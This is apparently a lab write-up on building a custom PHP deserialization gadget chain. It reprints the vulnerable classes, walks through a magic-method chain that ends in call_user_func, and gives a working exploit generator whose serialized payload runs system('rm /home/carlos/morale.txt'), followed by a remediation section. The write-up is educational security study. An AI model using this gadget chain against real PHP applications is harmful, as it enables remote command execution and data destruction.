July 25, 2026
Lab: Developing a custom gadget chain for PHP deserialization
The Blueprint of Deserialization Vulnerabilities
By Amrsmooke
7 min read
<?php
class CustomTemplate {
private $default_desc_type;
private $desc;
public $product;
public function __construct($desc_type='HTML_DESC') {
$this->desc = new Description();
$this->default_desc_type = $desc_type;
// Carlos thought this is cool, having a function called in two places... What a genius
$this->build_product();
}
public function __sleep() {
return ["default_desc_type", "desc"];
}
public function __wakeup() {
$this->build_product();
}
private function build_product() {
$this->product = new Product($this->default_desc_type, $this->desc);
}
}
class Product {
public $desc;
public function __construct($default_desc_type, $desc) {
$this->desc = $desc->$default_desc_type;
}
}
class Description {
public $HTML_DESC;
public $TEXT_DESC;
public function __construct() {
// @Carlos, what were you thinking with these descriptions? Please refactor!
$this->HTML_DESC = '<p>This product is <blink>SUPER</blink> cool in html</p>';
$this->TEXT_DESC = 'This product is cool in text';
}
}
class DefaultMap {
private $callback;
public function __construct($callback) {
$this->callback = $callback;
}
public function __get($name) {
return call_user_func($this->callback, $name);
}
}
?><?php
class CustomTemplate {
private $default_desc_type;
private $desc;
public $product;
public function __construct($desc_type='HTML_DESC') {
$this->desc = new Description();
$this->default_desc_type = $desc_type;
// Carlos thought this is cool, having a function called in two places... What a genius
$this->build_product();
}
public function __sleep() {
return ["default_desc_type", "desc"];
}
public function __wakeup() {
$this->build_product();
}
private function build_product() {
$this->product = new Product($this->default_desc_type, $this->desc);
}
}
class Product {
public $desc;
public function __construct($default_desc_type, $desc) {
$this->desc = $desc->$default_desc_type;
}
}
class Description {
public $HTML_DESC;
public $TEXT_DESC;
public function __construct() {
// @Carlos, what were you thinking with these descriptions? Please refactor!
$this->HTML_DESC = '<p>This product is <blink>SUPER</blink> cool in html</p>';
$this->TEXT_DESC = 'This product is cool in text';
}
}
class DefaultMap {
private $callback;
public function __construct($callback) {
$this->callback = $callback;
}
public function __get($name) {
return call_user_func($this->callback, $name);
}
}
?>The Blueprint of Deserialization Vulnerabilities
Before writing a single line of your exploit code, you must understand exactly how a server processes serialized data. Object deserialization is not just "reading data" — it is a process of reconstructing live programmatic structures inside the server's memory.
When a PHP application deserializes user-controlled input, it blindly instantiates objects and configures their internal properties exactly how the attacker specified. The danger arises because PHP automatically executes specific initialization and cleanup functions — known as Magic Methods — during this reconstruction process. If an attacker can manipulate the properties of these recreated objects, they can hijack the natural execution flow of the application, pivoting from one benign method to another until reaching a dangerous function. This sequence of connected methods is called a Gadget Chain.
[ Attacker Input ] ──> unserialize() ──> [ Magic Method ] ──> [ Property Abuse ] ──> [ Arbitrary Execution ][ Attacker Input ] ──> unserialize() ──> [ Magic Method ] ──> [ Property Abuse ] ──> [ Arbitrary Execution ]To build a custom gadget chain, we must meticulously dissect every class available in the source code to find entry points, intermediate links, and dangerous sinks.
The CustomTemplate Class
This class handles product descriptions and controls how descriptions are built.
__construct($desc_type='HTML_DESC'): When a newCustomTemplateobject is created normally on the server, it instantiates a newDescriptionobject, assigns it to$this->desc, sets the description type, and callsbuild_product().__sleep(): This magic method executes on the server when an object is being converted into a string (serialized). It returns an array specifying that onlydefault_desc_typeanddescshould be saved. Crucially, the$productproperty is excluded from serialization.__wakeup(): This magic method executes automatically as soon asunserialize()is called. It immediately triggers$this->build_product().build_product(): This is a private helper method. It instantiates a newProductobject, passing$this->default_desc_typeand$this->descas arguments to its constructor.
Serialization: Converting an active, living object in computer memory into a flat string of text so it can be saved to a file or sent over a network.
Deserialization: Taking that flat string of text and rebuilding it back into a live, active object in memory.
__wakeup(): A special function that automatically wakes up and runs the moment the server finishes rebuilding an object from a text string.
The Product Class
This class acts as a bridge component within the application logic.
__construct($default_desc_type, $desc): The constructor takes two arguments: a type string and a description object. Inside, it executes this specific line:
$this->desc = $desc->$default_desc_type;$this->desc = $desc->$default_desc_type;- This tells PHP to look at the
$descobject and access a property whose name matches the string stored inside$default_desc_type. For example, if$default_desc_typeis'HTML_DESC', PHP looks for$desc->HTML_DESC.
Dynamic Property Access (
$desc->$default_desc_type): Instead of looking for a fixed property name like$desc->title, the program reads the text value inside the variable$default_desc_typeand looks for a property with that exact name. If the variable contains the word "apple", it looks for$desc->apple.
The Description Class
A simple data-holding class containing static text properties.
- Properties: It holds
$HTML_DESCand$TEXT_DESC. It contains no magic methods, no complex logic, and no dynamic execution calls. It is completely benign.
The DefaultMap Class (The Dangerous Sink)
This class contains the behavior needed to achieve arbitrary code execution.
__construct($callback): Receives an argument and saves it into the private property$this->callback.__get($name): This is a highly powerful magic method. It triggers automatically whenever the code tries to read a property from aDefaultMapobject that does not exist or is inaccessible (such as a private property).call_user_func($this->callback, $name): Inside__get(), PHP executes this native function.call_user_func()takes a function name (the callback) and passes an argument to it. Here, it takes whatever function is stored in$this->callbackand runs it using the missing property$nameas the input argument.
__get($name): A safety-net function. If you try to read a property from an object that doesn't exist (like asking a "Car" object for its "wings"),__get()automatically wakes up to handle the mistake. The$namevariable holds the name of the missing property you tried to look for (e.g., "wings").
call_user_func(): A built-in PHP function that lets you execute any other function by simply providing its name as text. If$this->callbackis set to'system', and$nameis set to'whoami', it translates directly to running the operating system commandsystem('whoami').
Designing the Gadget Chain
To build our exploit, we must connect these distinct pieces of code together like building blocks. We start from the automated entry point and work our way to the execution sink.
Step 1: The Entry Point (CustomTemplate::__wakeup)
When our malicious serialized string is sent to the server, unserialize() processes it. The moment it reconstructs our fake CustomTemplate object, it automatically fires __wakeup().
__wakeup()immediately callsbuild_product().build_product()attempts to execute:new Product($this->default_desc_type, $this->desc);.
Step 2: The Transition (Product::__construct)
Inside the Product constructor, the application executes:
$desc->$default_desc_type;$desc->$default_desc_type;If this were a normal operation, $desc would be a Description object, and $default_desc_type would be a string like 'HTML_DESC'. However, we control the properties of CustomTemplate during deserialization.
- We can swap out the benign
$this->descobject and replace it with aDefaultMapobject. - We can change
$this->default_desc_typefrom a benign string to the exact operating system command we want to execute (for example,'id'or'whoami').
Step 3: Triggering the Magic Link (DefaultMap::__get)
Because we substituted the objects, the code inside the Product constructor now attempts to execute:
$DefaultMapObject->$default_desc_type;$DefaultMapObject->$default_desc_type;Since our command string (e.g., 'id') does not exist as a property inside the DefaultMap class, PHP's safety net triggers automatically. DefaultMap::__get($name) is called, and the variable $name is populated with our command string.
Step 4: Arriving at the Sink (call_user_func)
Inside DefaultMap::__get(), the code runs:
call_user_func($this->callback, $name);call_user_func($this->callback, $name);Since we control the properties of the DefaultMap object when we construct it, we can pre-program $this->callback to be a dangerous system execution function like 'system'.
$this->callbackbecomes'system'$namebecomes'id'(passed from the missing property name)- The server executes:
system('id');
Writing the Custom Exploit Script
To generate the payload cleanly without running into access configuration issues, we write a standalone PHP generation script.
When writing an exploit script, you must mimic the exact namespace and class structure of the target application. However, you do not need to copy their internal method logic. You only need to define the classes, declare their properties, assign your malicious values inside a custom setup script, and call serialize().
Save the following code into a file named exploit.php:
<?php
class DefaultMap {
// Declared private to perfectly match the target system
private $callback;
public function __construct($callback) {
$this->callback = $callback;
}
}
class CustomTemplate {
// Declared private to precisely match the target system
private $default_desc_type;
private $desc;
// We intentionally omit the public $product variable here so it is not
// included in our payload string, respecting the server's __sleep() constraints.
public function __construct($command) {
$this->default_desc_type = $command;
$this->desc = new DefaultMap('system');
}
}
// Instantiate the precise target gadget chain object
$payloadObject = new CustomTemplate('rm /home/carlos/morale.txt');
// Serialize the object structure safely
$serializedData = serialize($payloadObject);
echo "--- RAW SERIALIZED STRING ---\n";
echo $serializedData . "\n\n";
// Base64 encode the raw serialized data
$base64Payload = base64_encode($serializedData);
echo "--- BASE64 ENCODED PAYLOAD (Fixes the 3a error) ---\n";
echo $base64Payload . "\n\n";
// If the application receives the base64 via a URL parameter,
// it is safe practice to URL-encode the final base64 string just in case it contains '+' characters.
echo "--- URL-ENCODED BASE64 PAYLOAD ---\n";
echo urlencode($base64Payload) . "\n";
?><?php
class DefaultMap {
// Declared private to perfectly match the target system
private $callback;
public function __construct($callback) {
$this->callback = $callback;
}
}
class CustomTemplate {
// Declared private to precisely match the target system
private $default_desc_type;
private $desc;
// We intentionally omit the public $product variable here so it is not
// included in our payload string, respecting the server's __sleep() constraints.
public function __construct($command) {
$this->default_desc_type = $command;
$this->desc = new DefaultMap('system');
}
}
// Instantiate the precise target gadget chain object
$payloadObject = new CustomTemplate('rm /home/carlos/morale.txt');
// Serialize the object structure safely
$serializedData = serialize($payloadObject);
echo "--- RAW SERIALIZED STRING ---\n";
echo $serializedData . "\n\n";
// Base64 encode the raw serialized data
$base64Payload = base64_encode($serializedData);
echo "--- BASE64 ENCODED PAYLOAD (Fixes the 3a error) ---\n";
echo $base64Payload . "\n\n";
// If the application receives the base64 via a URL parameter,
// it is safe practice to URL-encode the final base64 string just in case it contains '+' characters.
echo "--- URL-ENCODED BASE64 PAYLOAD ---\n";
echo urlencode($base64Payload) . "\n";
?>Understanding the Serialized Output Syntax
If you run the script above using a local PHP interpreter (php exploit.php), you will receive a raw text string. Let's analyze exactly what this string means so you do not have to rely on guesswork.
The Generated Output String
O:14:"CustomTemplate":2:{s:29:"\0CustomTemplate\0default_desc_type";s:27:"rm /home/carlos/morale.txt";s:20:"\0CustomTemplate\0desc";O:10:"DefaultMap":1:{s:20:"\0DefaultMap\0callback";s:6:"system";}}O:14:"CustomTemplate":2:{s:29:"\0CustomTemplate\0default_desc_type";s:27:"rm /home/carlos/morale.txt";s:20:"\0CustomTemplate\0desc";O:10:"DefaultMap":1:{s:20:"\0DefaultMap\0callback";s:6:"system";}}Tokens
O:14:"CustomTemplate":2:
Omeans Object.14is the character count of the class name"CustomTemplate".2means this object contains exactly 2 properties serialized inside the curly braces. (Remember:__sleep()explicitly told PHP to only save two properties).
s:29:"\0CustomTemplate\0default_desc_type";
smeans String.29is the character count of the property key.- The Private Property Trap (
\0): When PHP serializes a private property, it prepends the class name to the variable name surrounded by null bytes (\0). The literal structure is\0ClassName\0propertyName. - Counting Check:
\0(1) +CustomTemplate(14) +\0(1) +default_desc_type(13) = 29 characters.
s:27:"rm /home/carlos/morale.txt";
- The value assigned to our first property. It is a string of 27 characters containing our payload command.
O:10:"DefaultMap":1:
- Nested inside is our second property value, which is itself an Object of the class
"DefaultMap"(10 characters) containing 1 property.
s:20:"\0DefaultMap\0callback";s:6:"system";
- The private property key for the callback:
\0(1) +DefaultMap(10) +\0(1) +callback(8) = 20 characters. - Its value is the string
"system", which has 6 characters.
Remediation: Securing the Target Code
To completely eliminate this vulnerability, the server must avoid deserializing raw objects entirely. If objects must be used, strict type-hinting and cryptographic signatures should be implemented.
Here is how the target code should be refactored defensively:
class Product {
public $desc;
// Improvement: Type-hint the argument to strictly force a Description object
public function __construct($default_desc_type, Description $desc) {
// Improvement: Validate that the property exists before blindly reading it
if (property_exists($desc, $default_desc_type)) {
$this->desc = $desc->$default_desc_type;
} else {
$this->desc = $desc->HTML_DESC; // Default fallback secure behavior
}
}
}class Product {
public $desc;
// Improvement: Type-hint the argument to strictly force a Description object
public function __construct($default_desc_type, Description $desc) {
// Improvement: Validate that the property exists before blindly reading it
if (property_exists($desc, $default_desc_type)) {
$this->desc = $desc->$default_desc_type;
} else {
$this->desc = $desc->HTML_DESC; // Default fallback secure behavior
}
}
}By adding Description $desc to the constructor, PHP will immediately throw a fatal error if an attacker tries to pass a DefaultMap object instead, neutralizing the gadget chain entirely.
In a Nutshell
Object deserialization takes a text string and rebuilds it into a live object in the server's memory. If you control this string, you control the object's properties. By swapping out a normal description object with a DefaultMap object containing a system execution callback ('system') and changing the property name to a command ('rm /home/carlos/morale.txt'), you trigger a chain reaction: unserialize() wakes up the template, the template builds a product, the product looks for a missing property on your fake map, the map triggers its safety net (__get), and the safety net runs our command via call_user_func.